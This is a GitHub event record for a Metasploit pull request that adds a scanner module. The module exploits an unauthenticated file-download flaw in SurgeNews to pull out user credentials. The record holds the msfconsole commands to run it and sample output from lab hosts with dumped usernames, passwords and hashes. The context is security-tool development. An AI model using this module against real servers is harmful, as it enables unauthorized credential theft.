{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/8577","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/8577/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/8577/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/8577/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/8577","id":236630937,"number":8577,"title":"Add SurgeNews User Credentials scanner module","user":{"login":"bcoles","id":434827,"avatar_url":"https://avatars1.githubusercontent.com/u/434827?v=3","gravatar_id":"","url":"https://api.github.com/users/bcoles","html_url":"https://github.com/bcoles","followers_url":"https://api.github.com/users/bcoles/followers","following_url":"https://api.github.com/users/bcoles/following{/other_user}","gists_url":"https://api.github.com/users/bcoles/gists{/gist_id}","starred_url":"https://api.github.com/users/bcoles/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcoles/subscriptions","organizations_url":"https://api.github.com/users/bcoles/orgs","repos_url":"https://api.github.com/users/bcoles/repos","events_url":"https://api.github.com/users/bcoles/events{/privacy}","received_events_url":"https://api.github.com/users/bcoles/received_events","type":"User","site_admin":false},"labels":[{"id":103436215,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/docs","name":"docs","color":"941E94","default":false},{"id":125500911,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf","default":false},{"id":103436014,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420","default":false}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":3,"created_at":"2017-06-17T01:39:41Z","updated_at":"2017-06-30T21:36:41Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/8577","html_url":"https://github.com/rapid7/metasploit-framework/pull/8577","diff_url":"https://github.com/rapid7/metasploit-framework/pull/8577.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/8577.patch"},"body":"This PR adds a scanner module to extract usernames, passwords and password hashes from SurgeNews.\r\n\r\n        This module exploits a vulnerability in the WebNews web interface\r\n        of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated\r\n        users to download arbitrary files from the software root directory;\r\n        including the user database, configuration files and log files.\r\n\r\n        This module extracts the administrator username and password, and\r\n        the usernames and passwords or password hashes for all users.\r\n\r\n        This module has been tested successfully on SurgeNews version\r\n        2.0a-13 on Windows 7 SP 1 and 2.0a-12 on Ubuntu Linux.\r\n\r\n\r\n### Verification\r\n\r\n- [x] Start `msfconsole`\r\n- [ ] `use auxiliary/scanner/http/surgenews_user_creds`\r\n- [ ] `set RHOSTS [RHOST]`\r\n- [ ] `run`\r\n- [ ] **Verify** you get credentials\r\n\r\n### Sample Output\r\n\r\n  ```\r\n  msf > use auxiliary/scanner/http/surgenews_user_creds\r\n  msf auxiliary(surgenews_user_creds) > set rhosts 172.16.191.133 172.16.191.166\r\n  rhosts => 172.16.191.133 172.16.191.166\r\n  msf auxiliary(surgenews_user_creds) > run\r\n\r\n  [+] Found administrator credentials (admin:admin)\r\n\r\n  SurgeNews User Credentials\r\n  ==========================\r\n\r\n   Username   Password  Password Hash                           Admin\r\n   --------   --------  -------------                           -----\r\n   admin      admin                                             true\r\n   qwerty@bt            {ssha}BuFLjIFUUSy1IltX3AuN420qV2ZFU7EL  false\r\n   user@bt              {ssha}HFTkDsnNlLiaHN+sIS9VQarVGGXmYISn  false\r\n\r\n  [+] Credentials saved in: /root/.msf4/loot/20170616185817_default_172.16.191.133_surgenews.user.c_633569.txt\r\n  [*] Scanned 1 of 2 hosts (50% complete)\r\n  [+] Found administrator credentials (test:test)\r\n  [+] Found user credentials (zxcv@win-sgbsd5tqutq:zxcv)\r\n\r\n  SurgeNews User Credentials\r\n  ==========================\r\n\r\n   Username              Password  Password Hash                           Admin\r\n   --------              --------  -------------                           -----\r\n   asdf@win-sgbsd5tqutq            {ssha}8ytixKjxf3kaBc6T471R1Re/C8MUnKnF  false\r\n   test                  test                                              true\r\n   test@win-sgbsd5tqutq            {ssha}Vw8EkFxAJuiZrb98Fz+sdr/yEEmBZ2Jc  false\r\n   test@win-sgbsd5tqutq            {ssha}j4teSf4CgA3+XVRJscFHyqoOQJRoLg4K  false\r\n   zxcv@win-sgbsd5tqutq  zxcv                                              false\r\n\r\n  [+] Credentials saved in: /root/.msf4/loot/20170616185817_default_172.16.191.166_surgenews.user.c_077983.txt\r\n  [*] Scanned 2 of 2 hosts (100% complete)\r\n  [*] Auxiliary module execution completed\r\n  ```\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/312378318","html_url":"https://github.com/rapid7/metasploit-framework/pull/8577#issuecomment-312378318","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/8577","id":312378318,"user":{"login":"dmohanty-r7","id":13103793,"avatar_url":"https://avatars2.githubusercontent.com/u/13103793?v=3","gravatar_id":"","url":"https://api.github.com/users/dmohanty-r7","html_url":"https://github.com/dmohanty-r7","followers_url":"https://api.github.com/users/dmohanty-r7/followers","following_url":"https://api.github.com/users/dmohanty-r7/following{/other_user}","gists_url":"https://api.github.com/users/dmohanty-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/dmohanty-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dmohanty-r7/subscriptions","organizations_url":"https://api.github.com/users/dmohanty-r7/orgs","repos_url":"https://api.github.com/users/dmohanty-r7/repos","events_url":"https://api.github.com/users/dmohanty-r7/events{/privacy}","received_events_url":"https://api.github.com/users/dmohanty-r7/received_events","type":"User","site_admin":false},"created_at":"2017-06-30T21:36:41Z","updated_at":"2017-06-30T21:36:41Z","body":"#8634 Did not resolve the host header issue. If you are alright with moving `include Msf::Auxiliary::Scanner` to be included last, I would be happy to make the change myself and merge this PR. Fantastic work @bcoles!"}}
{"actor":{"display_login":"dmohanty-r7"}}